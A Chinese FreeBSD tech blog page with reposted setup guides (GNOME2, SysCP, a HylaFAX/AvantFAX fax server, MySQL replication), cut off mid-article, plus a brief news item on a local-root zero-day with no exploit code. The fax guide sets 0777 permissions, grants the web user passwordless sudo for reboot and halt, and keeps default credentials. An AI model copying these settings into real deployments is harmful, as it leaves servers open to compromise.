温室小花.技术.博客 --纯粹的unix技术博客 » freebsd unix

FreeBSD 8.0 releases Gnome2 简体中文安装全攻略(网上转摘）

admin — Fri, 01 Jan 2010 01:52:35 +0000

一、Mini+sys内核源码安装FreeBSD 8.0 releases后，
安装三个主要的基础包，为什么用包不编译，是因为编译时间太长
CODE:
setenv PACKAGEROOT ftp://ftp.freebsdchina.org
pkg_add -r xorg
pkg_add -r gnome2
rehash

上面三个要事觉得慢，可以在三个终端中同步进行。

二、中文环境安装设置

1.安装字体
CODE:
cd /usr/local/lib/X11/fonts/TTF
fetch http://雅黑字体存放路径/msyh.ttf
mkfontdir
mkfontscale
fc-cache -fv

2.设置csh为中文环境
CODE:
echo “setenv PACKAGEROOT ftp://ftp.freebsdchina.org” ~/.cshrc
echo “setenv LANG zh_CN.UTF-8″ ~/.cshrc
echo “setenv LC_CTYPE zh_CN.UTF-8″ ~/.cshrc
echo “setenv LC_ALL zh_CN.UTF-8″ ~/.cshrc
echo “setenv XMODIFIERS @im=fcitx” ~/.cshrc

3.设置
CODE:
echo “/usr/local/bin/gnome-session” > ~/.xinitrc
echo “exec fcitx &” ~/.xinitrc

三、显卡驱动安装

FreeBSD nVidia官方没有提供驱动，只能用ports中的
不过俺看好像也是通过日本的nVidia站点中下载的…
这个俺还没弄懂为什么，不过俺也不需要懂，能用就成。

1.安装cvsup和更新ports
CODE:
pkg_add -r cvsup
sed ‘s:*default host=CHANGE_THIS.FreeBSD.org:*default host=cvsup.freebsdchina.org:’ /usr/share/examples/cvsup/ports-supfile > /usr/ports-supfile
cvsup -g L 2 /usr/ports-supfile

2.通过ports安装nVida显卡驱动
此部分仅FreeBSD 8.0 releases版本安装nVidia驱动有效，未在其它环境测试。
编译nVida显卡驱动需要linux_base-f10，安装linux_base-f10必须先要让系统装载一次linux模块….
CODE:
echo “linux_enable=”YES”" >> /etc/rc.conf
kldload linux
pkg_add -r linux_base-f10

nVidia驱动按照自己的显卡型号，选择适应的驱动。驱动在/usr/ports/x11
CODE:
nvidia-driver-173/
nvidia-driver-71/
nvidia-driver-96/
nvidia-driver/

俺是最新的9600GT所以直接选择了nvidia-driver
CODE:
cd /usr/ports/x11/nvidia-driver
make install clean
kldload nvidia

3.让FreeBSD在启动是装载nvidia驱动。
CODE:
echo “nvidia_load=”YES”" >> /boot/loader.conf

四、xorg.conf的配置和Gnome2的启动。
有人说可以不要，但是我觉得我在里面的改动完全都在Gnome2中体现出来。
Xorg -configure
如果是ps/2鼠标
CODE:
cp ~/xorg.conf.new /etc/X11/xorg.conf
echo “hald_enable=”YES”" >> /etc/rc.conf
echo “dbus_enable=”YES”" >> /etc/rc.conf

如果是usb鼠标
CODE:
sed ‘s:/dev/sysmouse:/dev/usm0:’ ~/xorg.conf.new > /etc/X11/xorg.conf
echo “moused_type=”NO”" >> /etc/rc.conf
echo “moused_enable=”NO”" >> /etc/rc.conf

startx
如果nvidia进入Gnome2没有加载nvidia的驱动，就编辑/etc/X11/xorg.conf
把
CODE:
Driver “nv”

改为
CODE:
Driver “nvidia”

FreeBSD爆严重安全漏洞.

admin — Thu, 03 Dec 2009 13:17:15 +0000

以安全著称的FreeBSD系统被著名黑客Kingcope爆了一个零日（0day）漏洞。据Kingcope所说，他长期致力于挖掘FreeBSD系统的本地提权漏洞，终于有幸在近期发现了这个非常低级的本地提权漏洞；这个漏洞存在于FreeBSD的Run-Time Link-Editor(rtld)程序中，普通用户可以通过该漏洞非常轻易的获得root权限。该漏洞影响非常广泛，包括FreeBSD 7.1至8.0的32及64位系统。在展示该漏洞威力之前，我们科普一下著名黑客kingcope。从2007年6月至今，他一共公开了12个安全漏洞（没公开的不知道有多少），其中 FreeBSD和Sun Solaris各两个，微软四个，Oracle、mysql、NcFTPD和nginx各一个，同时他还编写了多个漏洞的攻击代码，例如 Sun Solaris telnetd及近期的IIS FTPd、Debian OpenSSH等。

　　接下来我们在最新的FreeBSD 8.0中重现一下该漏洞的攻击过程，请注意图中的红色部分；我们只要执行名为fbsd8localroot.sh的脚本，就可以轻易的获得root权限。

FreeBSD下安装SysCP主机管理系统

admin — Fri, 19 Jun 2009 04:45:11 +0000

实施环境：FreeBSD 7 Beta 1.5 AMD64位，CD光盘。采用Mini安装，允许SSH。

1、添加FreeBSD的Ports包更新工具CVSUP
pkg_add -r cvsup-without-gui

2、添加FreeBSD的bash
pkg_add -r bash

3、修改以下文件的CHANGE_THIS.FREEBSD.ORG为cvsup.freebsdchina.org（位于第49行）
/usr/share/examples/cvsup/ports-supfile
/usr/share/examples/cvsup/www-supfile
/usr/share/examples/cvsup/stable-supfile

4、重启后更新系统
cvsup -g -L 2 /usr/share/examples/cvsup/ports-supfile
cvsup -g -L 2 /usr/share/examples/cvsup/www-supfile
cvsup -g -L 2 /usr/share/examples/cvsup/stable-supfile

5、开始安装SYSCP
cd /usr/ports/sysutils/syscp
make all install clean

对话框Options for apache 2.2.6_2
[X] MYSQL Enable MySQL support for apr-dbd
[X] AUTH_BASIC Enable mod_auth_basic
[X] AUTH_DIGEST Enable mod_auth_digest
[X] AUTHN_FILE Enable mod_authn_file
[X] AUTHN_DBD Enable mod_authn_dbd
[X] AUTHN_DBM Enable mod_authn_dbm
[X] AUTHN_ANON Enable mod_authn_anon
[X] AUTHN_DEFAULT Enable mod_authn_default
[X] AUTHN_ALIAS Enable mod_authn_alias
[X] AUTHZ_HOST Enable mod_authz_host
[X] AUTHZ_GROUPFILE Enable mod_authz_groupfile
[X] AUTHZ_USER Enable mod_authz_user
[X] AUTHZ_DBM Enable mod_authz_dbm
[X] AUTHZ_OWNER Enable mod_authz_owner
[X] AUTHZ_DEFAULT Enable mod_authz_default
[X] CACHE Enable mod_cache
[X] DISK_CACHE Enable mod_disk_cache
[X] FILE_CACHE Enable mod_file_cache
[X] DAV Enable mod_dav
[X] DAV_FS Enable mod_dav_fs
[X] ACTIONS Enable mod_actions
[X] ALIAS Enable mod_alias
[X] ASIS Enable mod_asis
[X] AUTOINDEX Enable mod_autoindex
[X] CERN_META Enable mod_cern_meta
[X] CGI Enable mod_cgi
[X] CHARSET_LITE Enable mod_charset_lite
[X] DBD Enable mod_dbd
[X] DEFLATE Enable mod_deflate
[X] DIR Enable mod_dir
[X] DUMPIO Enable mod_dumpio
[X] ENV Enable mod_env
[X] EXPIRES Enable mod_expires
[X] HEADERS Enable mod_headers
[X] IMAGEMAP Enable mod_imagemapx
[X] INCLUDE Enable mod_include
[X] INFO Enable mod_info
[X] LOG_CONFIG Enable mod_log_config
[X] LOGIO Enable mod_logio
[X] MIME Enable mod_mime
[X] MIME_MAGIC Enable mod_mime_magic
[X] NEGOTIATION Enable mod_negotiation
[X] REWRITE Enable mod_rewrite
[X] SETENVIF Enable mod_setenvif
[X] SPELING Enable mod_speling
[X] STATUS Enable mod_status
[X] UNIQUE_ID Enable mod_unique_id
[X] USERDIR Enable mod_userdir
[X] USERTRACK Enable mod_usertrack
[X] VHOST_ALIAS Enable mod_vhost_alias
[X] FILTER Enable mod_filter
[X] VERSION Enable mod_version
[X] SSL Enable mod_ss

对话框Options for dovecot 1.0.7选择
[X] KQUEUE kqueue(2) support
[X] SSL SSL support
[X] IPV6 IPv6 support
[X] POP3 POP3 support
[X] LDA LDA support
[X] MYSQL MySQL support
[X] SQLITE SQLite support

对话框Options for postfix 2.4.6,1，选择
[X] PCRE Perl Compatible Regular Expressions
[X] DOVECOT Dovecot SASL authentication method
[X] BDB Berkeley DB (choose version with WITH_BDB_VER)
[X] MYSQL MySQL maps (choose version with WITH_MYSQL_VER)
[X] VDA VDA (Virtual Delivery Agent)

You need user “postfix” added to group “mail”.
Would you like me to add it [y]? Y

Would you like to activate Postfix in /etc/mail/mailer.conf [n]? y

选择Options for proftpd-mysql 1.3.1_1
[X] MYSQL Use MySQL
[X] OPENSSL Include mod_tls
[X] QUOTA Include mod_quota
[X] IFSESSION Include mod_ifsession
[X] README Include mod_readme
[X] RATIO Include mod_ratio
[X] REWRITE Include mod_rewrite
[X] WRAP Include mod_wrap2
[X] RADIUS Include mod_radius

选项 Options for gd 2.0.35,1
[X] ICONV iconv support

对话框Options for php5 5.2.4_1
[X] CLI Build CLI version
[X] CGI Build CGI version
[X] APACHE Build Apache module
[X] SUHOSIN Enable Suhosin protection system (not for jails)
[X] MULTIBYTE Enable zend multibyte support
[X] FASTCGI Enable fastcgi support (CGI only)
[X] PATHINFO Enable path-info-check support (CGI only)

//对话框Options for php5 5.2.4_1，我选择：
[X] CLI Build CLI version
[X] CGI Build CGI version
[X] APACHE Build Apache module
[X] SUHOSIN Enable Suhosin protection system (not for jails)
[X] MULTIBYTE Enable zend multibyte support
[X] FASTCGI Enable fastcgi support (CGI only)
[X] PATHINFO Enable path-info-check support (CGI only)

6、创建并编辑/usr/local/etc/apache22/Includes/aliases.conf
ee /usr/local/etc/apache22/Includes/aliases.conf

Alias /syscp “/usr/local/www/syscp/”

AllowOverride None

7、修改/usr/local/etc/apache2/httpd.conf
ee /usr/local/etc/apache2/httpd.conf
添加：
AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps

7、重新加载Apache配置
/usr/local/sbin/apachectl graceful

8、编辑/etc.rc.conf
apache22_enable=”YES”
mysql_enable=”YES”
named_enable=”YES”
dovecot_enable=”YES”
postfix_enable=”YES”
proftpd_enable=”YES”

9、完成配置，重启后就可以进入http://您的IP/syscp管理系统

FreeBSD传真服务器(FreeBSD+HylaFax+Apache+php+Mysql+AvantFax)

admin — Mon, 08 Jun 2009 14:41:45 +0000

以下文章也是转摘于网上。有空，俺要实际操作一下，以前，俺一直想弄个EFAX服务器，但可惜，由于文档少，以及时间上不方便，就没再深究，现在有此好文档，有机会，也要好好研究一下。。。

FreeBSD安装选择Minimal+Ports
域名：fax.test.org IP:192.168.1.203 新建用户:vincent 属于wheel组

Handbook
http://cnsnap.cn.freebsd.org/doc … ndbook/install.html

开启FTP服务

编辑/etc/inetd.conf文件去掉ftp前的注释’#'。

#vi /etc/inetd.conf
ftp stream tcp nowait root /usr/libexec/ftpd ftpd -l

启动inetd程序
#/etc/rc.d/inetd start

添加vincent用户，用于FTP登录上传文件
#pw useradd vincent -s /bin/csh -d /home/vincent -m -g wheel -h 0

—————————————————————————-

使用wget加快ports软件下载

安装wget程序，加快软件包下载速度。
#cd /usr/ports/net/wget
#make install clean

编辑/etc/make.conf
#vi /etc/make.conf

FETCH_CMD=wget -c -t 1
DISABLE_SIZE=yes

MASTER_SITE_OVERRIDE= \
ftp://ftp.tw.freebsd.org/pub/FreeBSD/ports/distfiles/ \
ftp://ftp.freebsdchina.org/pub/FreeBSD/ports/distfiles/

设置使用ftp.tw.freebsd.org为主下载站点，加快Package软件下载，编辑用户目录下的.cshrc文件加入

#vi .cshrc //编辑完后记得重新登录
setenv PACKAGEROOT ftp://ftp.tw.freebsd.org

——————————————————————————————–

HylaFAX ( WebSite http://www.hylafax.org/ )

HylaFAX是一个基于C/S 架构,企业级的收发传真系统，高效稳固。局域网中只要有一台连接Modem的HylaFAX服务器，就能为局域网所有用户提供传真服务。

软件安装

Package方法安装
#pkg_add -r hylafax

或者

Ports方法安装
#cd /usr/ports/comms/hylafax
#make install clean

软件设置

#faxsetup

Should an entry be added for the FaxMaster to /etc/aliases [yes]?
应该在/etc/aliases中增加一个条FaxMaster记录[yes]? yes

Users to receive fax related mail [root]?
输入接收传真相关信息的Email用户[root]? vincent

Are these ok [yes]?
确认以上信息是否正确[yes]? yes

Country code [1]?
国家代码[1]? 0086

Area code []?
区号[]? 0750

Long distance dialing prefix [1]?
长途拨号前缀 [1]? 0

International dialing prefix [011]?
国际拨号前缀 [001]? 0750

Dial string rules file (relative to /var/spool/hylafax)["etc/dialrules"]?
拨号规则文件( /var/spool/hylafax )["etc/dialrule"]? 按enter默认

Tracing during normal server operation [1]?
追踪正常服务程序[1]? 1

Default tracing during send and receive session [0xfffffffff]?
默认追查在发送和接收 session [0xfffffffff]? 按enter默认

Continuation cover page (relative to /var/spool/hylafax) []?
传真封面页所在目录 ( /var/spool/hylafax )[]? 按enter默认

Timeout when converting PostScript documents (secs) [180]?
转换PostScript文件逾时时间[180]? 180

Maximum number of concurrent jobs to a destination[1]?
一个目的地最大数量的并行工作[1]? 1

Define a group of modems []
定义一组调制解调器[] 按enter默认

Time of day restrictions for outbound jobs ["Any"]?
一天中限制传真外发时间["Any"]? 按enter默认

Pathname of destination controls file (relative to /var/spool/hylafax) []?
控制文件的路径( /var/spool/hylafax )[]? 按enter默认

Timeout before purging a stale UUCP lock file (secs) [30]
超时前清除旧的UUCP锁定文件[30]？30

Max number of pages to permit in an outbound job [0xffffffff]?
允许在出站的最大页数[0xffffffff]? 按enter默认

Syslog facility name for ServerTracing messages [daemon]?
系统日志跟踪记录程序[daemon]? 按enter默认

Are these ok [yes]?
确认以上信息是否正确[yes]? yes

Should I restart the HylaFAX process [yes]?
应该重新启动HylaFAX进程[yes]? yes

You do not appear to have any modem configured for use. Modems are
configured for use with HylaFax with the faxaddmodem command.
Do you want to run faxaddmomdem to configure a modme [yes]?
您似乎没有任何调制解调器配置为使用。调制解调器配置为使用HylaFax与faxaddmodem命令。
你想运行faxaddmomdem配置modme[yes]? yes

Serial port that modem is connected to []?
调制解调器连接到那个串行端口[]? ttyd0 //我的是com1,所以是ttyd0；请根据实际配置。

country code[1]
国家代码[1]? 0086

Area code [415]?
区号[]? 0750

Phone number of fax modem [+1,9999.5555.1212]?
传真的电话号码[+1,9999.5555.1212]? 8607501234567

Local Identifications string (for TS/CIG) ["NothingEtup"]?
本地传真机标识(for TS/CIG) ["NothingEtup"]? FreeBSD.org

Long distance dialing prefix [1]?
长途拨号前缀 [1]? 0

International dialing prefix [011]?
国际拨号前缀 [001]? 0750

Dial string rules file (relative to /var/spool/hylafax) [etc/dialrules]?
拨号规则文件( /var/spool/hylafax )["etc/dialrule"]? 按enter默认

Tracing during normal server operation [1]?
追踪正常服务程序[1]? 1

Tracing during send and receive sessions [11]?
追踪发送和接收 session [11]? 按enter默认

Protection mode for received facsimile [0600]?
收到传真的文件权限[0600]？ 0777

Protection mode for session logs [0600]?
记录文件的档案权限[0600]? 0777

Protection mode for ttyd0 [0600]?
端口的访问权限[0600]? 0777

Rings to wait before answering [1]?
响铃几声后，开始接受传真[1]? 2

Modem speaker volume [off]?
Modem的喇叭音量[off]? on

Command line arguments to getty program ["-h %l dx_%s"]?
接收传真的命令行参数["-h %l dx_%s"]? 按enter默认

Pathname of TSI access control list file (relative to /var/spool/hylafax)[""]?
访问控制列表的TSI文件路径( /var/spool/hylafax )[""]? 按enter默认

Pathname of Caller-ID access control list file (relative to /var/spool/hylafax)[""]?
来电Caller-ID访问控制列表文件路径( /var/spool/hylafax )[""]? 按enter默认

Tag line font file (relative to /var/spool/hylafax) [etc/lutRS18.pcf]?
标记行字体文件( /var/spool/hylafax ) [etc/lutRS18.pcf]? 按enter默认

Tag line form string ["From %%1|%c|Page %%P of %%T"]?
标记行字符串形式["From %%1|%c|Page %%P of %%T"]? 按enter默认

Time before purging a stale UUCP lock file (secs) [30]?
超时前清除旧的UUCP锁定文件[30]？30

Hold UUCP lockfile during inbound data calls [Yes]?
当传真进来时，保留UUCP 设定文件[Yes]? yes

Hold UUCP lockfile during inbound voice calls [Yes]?
当语音进来时，保留UUCP 设定文件[Yes]? yes

Percent good lines to accept during copy quality checking [95]?
线路好的时候，在什么百份比时进行检查[95]? 95

Max consecutive bad lines to accept during copy quality checking [5]?
线路不好的时候，在什么百份比时进行检查[5]? 5

Max number of pages to accept in a received facsimile [25]?
每次传真进来的最大可接收页数[25]? 25

Syslog faxility name for ServerTracing messages [daemon]?
系统日志跟踪记录程序[daemon]? 按enter默认

Set UID to 0 to manipulate CLOCAL [""]?
设置的UID为0操作CLOCAL[""]? 按enter默认

Use available priority job scheduling mechanism [""]?
使用现有的优先工作调度机制[""]? 按enter默认

Are these ok [yes]?
确认以上信息是否正确[yes]? yes

Probing for best speed to talk to modem：38400
探索最佳速度交谈调制解调器： 38400

How should it be configured [1]?
应如何配置[1]? 1

DTE-DCE flow control scheme [default]?
流量控制方案[default]? 按enter默认

Are these ok [yes]?
确认以上信息是否正确[yes]? yes

Do you want to run faxaddmodem to configure another modem [yes]?
你想运行的另一个faxaddmodem配置调制解调器[yes]? no

Should I run faxmodem for each configured modem [yes]?
应该为每个运行faxmodem配置调制解调器[yes]? yes

Done verifying system setup.
完成核查系统设置。

编辑/etc/ttys 文件，查找“ttyd0″字节，修改为下面值(如果没有找，就在最后加上）

#vi /etc/ttys
ttyd0 “/usr/local/sbin/faxgetty” dialup on

设置开机HylaFax服务自动运行

#cp /usr/local/etc/rc.d/hylafax.sh.sample /usr/local/etc/rc.d/hylafax.sh

启动HylaFax服务

#/usr/local/etc/rc.d/hylafax.sh start

HylaFax命令

faxstat -s （显示队列中等待发送的传真）
faxstat -d （显示已发送的传真）
faxstat -r （显示已接收的传真）
faxrm number_of_job (从队列中去删除一个传真)
faxqclean (清除缓冲池)
faxcron (显示统计结果)

——————————————————————————————–

AvantFAX (WebSite http://www.avantfax.com )

AvantFAX是一种Web应用管理传真的HylaFAX 服务器。
AvantFAX允许用户在任何平台上，来查看和发送传真，而无需安装特殊的软件。它还允许管理员管理用户，他们的权限，传真线，传真类等
AvantFAX可以从本地网络，并通过互联网远程使用标准的网络设备

安装说明: http://www.avantfax.com/install.php

安装AvantFAX之前要先安装以下软件：

HylaFAX 4.4 or HylaFAX EE 3
PHP 5
PHP PEAR 5 including MDB2_driver_mysql, Mail and Mail_Mime
PECL FileInfo
PHP mbstring – for improved UTF-8 sorting support (optional)
PHP MySQL 5
MySQL server 4.1.12 or better (see Important Notes below)
Apache
ImageMagick
ghostscript
libtiff
netpbm-progs
libungif
sudo
sendmail/postfix/exim/qmail or use an external SMTP server
cups/lpr and psutils
expect

—————————————–
apache

Package方法安装
#pkg_add -r apache22

或者

Ports方法安装
#cd /usr/ports/www/apache22
#make install clean

—————————————–
mysql51-server

Package方法安装
#pkg_add -r mysql51-server

或者

Ports方法安装

#cd /usr/ports/databases/mysql51-server
#make install clean

—————————————–
PHP5

Ports方法安装
#cd /usr/ports/lang/php5
#make install clean
//安装时记得选上第三项“APACHE Build Apache module”支持

—————————————–
PHP5-session

Package方法安装
#pkg_add -r php5-session

或者

Ports方法安装
#cd /usr/ports/www/php5-session
#make install clean

—————————————–
php5-mysql

Package方法安装
#pkg_add -r php5-mysql

或者

Ports方法安装
#cd /usr/ports/databases/php5-mysql
#make install clean

—————————————–
pear-DB

Package方法安装
#pkg_add -r pear-DB

或者

Ports方法安装
#cd /usr/ports/databases/pear-DB
#make install clean

—————————————–
pear-MDB2_Driver_mysql

Ports方法安装
#cd /usr/ports/databases/pear-MDB2_Driver_mysql
#make install clean

—————————————–
pear-Auth

Package方法安装
#pkg_add -r pear-Auth

或者

Ports方法安装
#cd /usr/ports/security/pear-Auth
#make install clean

—————————————–
pear-Auth_SASL

Package方法安装
#pkg_add -r pear-Auth_SASL

或者

Ports方法安装
#cd /usr/ports/security/pear-Auth_SASL
#make install clean

—————————————–
pear-Net_SMTP

Package方法安装
#pkg_add -r pear-Net_SMTP

或者

Ports方法安装
#cd /usr/ports/net/pear-Net_SMTP
#make install clean

—————————————–
pear-Mail

Package方法安装
#pkg_add -r pear-Mail

或者

Ports方法安装
#cd /usr/ports/mail/pear-Mail
#make install clean

—————————————–
pear-Mail_Mime

Package方法安装
#pkg_add -r pear-Mail_Mime

或者

Ports方法安装
#cd /usr/ports/mail/pear-Mail_Mime
#make install clean

—————————————–
pear-Mail_mimeDecode

Package方法安装
#pkg_add -r pear-Mail_mimeDecode

或者

Ports方法安装
#cd /usr/ports/mail/pear-Mail_mimeDecode
#make install clean

—————————————–
pear-PHP_Compat

Package方法安装
#pkg_add -r pear-PHP_Compat

或者

Ports方法安装
#cd /usr/ports/devel/pear-PHP_Compat
#make install clean

—————————————–
pear-HTML_Common

Ports方法安装
#cd /usr/ports/devel/pear-HTML_Common
#make install clean

—————————————–
pear-HTML_QuickForm

Package方法安装
#pkg_add -r pear-HTML_QuickForm

或者

Ports方法安装
#cd /usr/ports/devel/pear-HTML_QuickForm
#make install clean

—————————————–
pecl-fileinfo

Package方法安装
#pkg_add -r pecl-fileinfo

或者

Ports方法安装
#cd /usr/ports/sysutils/pecl-fileinfo
#make install clean

—————————————–
php5-mbstring

Package方法安装
#pkg_add -r php5-mbstring

或者

Ports方法安装
#cd /usr/ports/converters/php5-mbstring
#make install clean

—————————————–
ImageMagick

Package方法安装
#pkg_add -r ImageMagick

或者

Ports方法安装
#cd /usr/ports/graphics/ImageMagick
#make install clean

—————————————–
smarty

Package方法安装
#pkg_add -r smarty

或者

Ports方法安装
#cd /usr/ports/www/smarty
#make install clean

—————————————–
netpbm

Package方法安装
#pkg_add -r netpbm

或者

Ports方法安装
#cd /usr/ports/graphics/netpbm
#make install clean

—————————————–
libungif

Package方法安装
#pkg_add -r libungif

或者

Ports方法安装
#cd /usr/ports/graphics/libungif
#make install clean

—————————————–
sudo

Package方法安装
#pkg_add -r sudo

或者

Ports方法安装
#cd /usr/ports/security/sudo
#make install clean

—————————————–
cups

Package方法安装
#pkg_add -r cups

或者

Ports方法安装
#cd /usr/ports/print/cups
#make install clean

—————————————–
psutils-a4

Package方法安装
#pkg_add -r psutils-a4

或者

Ports方法安装
#cd /usr/ports/print/psutils-a4
#make install clean

—————————————–
expect

Package方法安装
#pkg_add -r expect

或者

Ports方法安装
#cd /usr/ports/lang/expect
#make install clean

—————————————————————————————–

软件下载：http://www.avantfax.com/download.php

将下载到的软件包通过FTP上传到服务器的vincent目录下,解压:
#cd /home/vincent
#gunzip avantfax-3.1.6.tgz.gz
#tar zxvf avantfax-3.1.6.tgz

移动avantfax Web目录:
#cd avantfax-3.1.6
#mv avantfax /usr/local/www/
#chmod -R 777 /usr/local/www/avantfax/tmp /usr/local/www/avantfax/faxes
#chown -R www:www /usr/local/www/avantfax//includes/templates

# ln -s /usr/local/www/avantfax/includes/faxrcvd.php /var/spool/hylafax/bin/faxrcvd.php
# ln -s /usr/local/www/avantfax/includes/dynconf.php /var/spool/hylafax/bin/dynconf.php
# ln -s /usr/local/www/avantfax/includes/notify.php /var/spool/hylafax/bin/notify.php

编辑config.ttyd0 //我的是外置modem,连接电脑com1，所以是ttyd0
# vi /var/spool/hylafax/etc/config.ttyd0

//添加
#
## AvantFAX configuration
#
FaxrcvdCmd: bin/faxrcvd.php
DynamicConfig: bin/dynconf.php
UseJobTSI: true

————————————-
编辑config
# vi /var/spool/hylafax/etc/config

//添加
#
## AvantFAX configuration
#
NotifyCmd: bin/notify.php

————————————–
备份/替换faxcover程序
#mv /usr/local/bin/faxcover /usr/local/bin/faxcover.old
#ln -s /usr/local/www/avantfax/includes/faxcover.php /usr/local/bin/faxcover

设置HylaFax用户支持Avantfax
#/usr/local/sbin/faxadduser -a pwd www
#/usr/local/sbin/faxdeluser localhost
#/usr/local/sbin/faxdeluser 127.0.0.1
#echo 127.0.0.1 >> /var/spool/hylafax/etc/hosts.hfaxd

编辑Avantfax设置文件
#cd /usr/local/www/avantfax/includes
#cp local_config-example.php local_config.php
#vi local_config.php

$BINARYDIR = ‘/usr/bin’;
//修改为:
$BINARYDIR = ‘/usr/local/bin’;

$HYLAFAX_PREFIX = ‘/usr’;
//修改为:
$HYLAFAX_PREFIX = ‘/usr/local’;

$WWWUSER = ‘apache’;
//修改为:
$WWWUSER = ‘www’;

$dft_config_lang = ‘en’;
//修改为:
$dft_config_lang = ‘zh’;

——————————————————-
编辑hfaxd.conf
#vi /usr/local/lib/fax/hfaxd.conf

#JobFmt: “%-3j %3i %1a %6.6o %-12.12e %5P %5D %7z %.25s”
//修改为:
JobFmt: “%-3j %3i %1a %15o %40M %-12.12e %5P %5D %7z %.25s”

——————————————————-
软件启动设置:
#vi /etc/rc.conf
//添加
apache22_enable=”YES”
mysql_enable=”YES”

——————————————————-
apache22设置

#vi /usr/local/etc/apache22/httpd.conf

DirectoryIndex index.html
//修改为:
DirectoryIndex index.html index.php

//添加
AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps

——————————————————-
新建fax.conf
#vi /usr/local/etc/apache22/Includes/fax.conf

//添加
NameVirtualHost *:80

ServerName fax.test.org
DocumentRoot /usr/local/www/avantfax/

AllowOverride None
Options None
Order allow,deny
Allow from all

——————————————————–
PHP程序连接
#ln-s /usr/local/bin/php /usr/bin/php

启动apache
#/usr/local/etc/rc.d/apapche start

——————————————————–
avantfax数据导入

启动mysql
#/usr/local/etc/rc.d/mysql start

导入数据
#cd /home/vincent/avantfax-3.1.6
#mysql -uroot < create_user.sql
#mysql -uavantfax -pd58fe49 avantfax < create_tables.sql

--------------------------------------------------------
编辑/etc/crontab
# vi /etc/crontab

//添加
# runs once an hour to update the phone book
0 * * * * root /usr/local/www/avantfax/includes/phb.php
# runs once a day to remove old files
0 0 * * * root /usr/local/www/avantfax/includes/avantfaxcron.php -t 2

---------------------------------------------------------
编辑/usr/local/etc/sudoers
#vi /usr/local/etc/sudoers

//添加
#Defaults requiretty
www ALL = NOPASSWD: /sbin/reboot, /sbin/halt, /usr/local/sbin/faxdeluser, /usr/local/sbin/faxadduser -u * -p * *

---------------------------------------------------------
打开浏览器（IE/firefox/opera)，打上下面的网址：

http://192.168.1.203/admin/

username: admin
password: password

新建 "传真分类" ---> 新建 “Modem” —> 新建 “用户”
到此，服务器基本上可以使用。

具有负载均衡功能的MySQL服务器集群部署及实现

admin — Sat, 30 May 2009 17:04:01 +0000

MySQL是一个高速度、高性能、多线程的关系型数据库管理系统，适用平台多，可扩展性强。在实际生产环境中，部署和实现具有一定负载均衡功能的MySQL服务器集群，对于提高用户数据库应用系统的性能、速度和稳定性具有明显的作用。本文简要介绍了在 FreeBSD 7.0-Release系统上部署实现MySQL服务器集群的方案，并对可能出现的问题提供了相应的解决方法。

　1. 引言

　　MySQL是一个高速度、高性能、多线程、开放源代码，建立在客户/服务器(Client /Server)结构上的关系型数据库管理系统(RDBMS)。它始于1979年，最初是Michael Widenius为瑞典TcX公司创建的UNIREG数据库系统，当时的UNIREG没有SQL(Structured Query Language结构化查询语言)接口，限制了它的应用。1996年5月，Widenius开发出了MySQL的最初版本，开始在Internet上公开发行。MySQL的开发人员从一开始就一直关注它的性能，为此不惜特性集，直到今天，MySQL依然保持本色，以高速度高性能为首要原则。随着时间的推移，MySQL也加入了大型数据库产品的高级特性，如存储过程、视图、触发器等，使其在企业级数据库系统中开始被部署应用[1]。2008年10 月，SUN公司收购了MySQL AB公司，开始进入开源领域。随着重量级操作系统Solaris的开源，SUN MySQL在数据库市场占有的份额将会进一步提高。因此，在生产环境中部署具有负载均衡功能的MySQL服务器集群，对于提高企业数据库应用系统的速度、稳定性及可伸缩性具有很大的现实意义，也可以有效降低应用系统的投资成本。本文将以FreeBSD 7.0-Release操作系统为例，利用MySQL数据库的复制(Replication)特性，简要介绍部署MySQL服务器集群的实现方法和相关注意事项。

　　2. 系统模型

　　本集群的结构为一个主MySQL服务器(Master)服务器与多个从属 MySQL服务器(Slave)建立复制(replication)连接，主服务器与从属服务器实现一定程度上的数据同步，多个从属服务器存储相同的数据副本，实现数据冗余，提供容错功能。部署开发应用系统时，对数据库操作代码进行优化，将写操作(如UPDATE、INSERT)定向到主服务器，把大量的查询操作(SELECT)定向到从属服务器，实现集群的负载均衡功能。如果主服务器发生故障，从属服务器将转换角色成为主服务器，使应用系统为终端用户提供不间断的网络服务;主服务器恢复运行后，将其转换为从属服务器，存储数据库副本，继续对终端用户提供数据查询检索服务。

　　3. 部署实现

　　本文以一台主服务器带三台从属服务器为例，简要介绍MySQL服务器集群的实现方案和具体方法步骤。

　　3.1 系统部署

　　由于FreeBSD系统对机器硬件要求较低，出于降低系统部署成本考虑，主服务器和从属服务器操作系统均采用FreeBSD 7.0-Release，并采用最小化定制安装，完成以后系统占用磁盘空间仅为254M(不计swap分区所占空间，它随具体机器内存容量的变化而变化)。为充分发挥系统硬件性能，MySQL数据库采用源代码编译安装。

　　3.1.1 安装FreeBSD系统

　　在主服务器和从属服务器上安装FreeBSD 7.0-Release，具体安装方法步骤不是本文主要内容，在此略过，如有疑问可以参考FreeBSD系统手册。需要说明的是为方便用户系统运行期间的维护管理，要打开系统的SSH服务功能，系统安装配置期间允许root用户远程登录，正常运行以后要关闭root用户的远程登录功能。在/etc/ssh /sshd_config配置文件中对PermitRootLogin设置为yes为允许root用户远程登录到系统，设置为no即为不允许。修改保存文件后执行kill –HUP `cat /var/run/sshd.pid`命令即可重启sshd守护进程，使设置生效[2]。上述操作需要root用户权限。

　3.1.2 编译安装MySQL

　　到MySQL的官方网站http://www.mysql.com下载MySQL数据库的安装源代码压缩包，本例下载的是mysql-5.1.30.tar.gz，以root用户身份登录到系统，开始安装MySQL数据库系统。

　　由于在对MySQL进行源代码编译安装时要求使用GNU的C编译器，而FreeBSD系统本身提供的不是该编译器，因此用户必须下载安装GNU C编译器[3]。把下载的gnumake-3.81.tar.gz解压安装，按如下步骤即可安装GNU C编译器：

　　[root@FreebsdMaster/softwares]# tar –zxvf gnumake-3.81.tar.gz

　　[root@FreebsdMaster /softwares]# cd make-3.81

　　[root@FreebsdMaster /softwares/make-3.81]# ./configure ; make; make install; make clean

　　GNU C编译器默认安装到/usr/local/bin，在安装MySQL时按绝对路径调用make命令即可，如# /usr/local/bin/make。

　　MySQL的编译安装比较复杂，具体操作及相关注意事项如下：

　　(1). 解压mysql-5.1.30.tar.gz，并进行配置

　　[root@FreebsdMaster /softwares]# tar –zxvf mysql-5.1.30.tar.gz

　　[root@FreebsdMaster /softwares]# cd mysql-5.1.30

　　[root@FreebsdMaster /softwares/mysql-5.1.30]# ./configure \

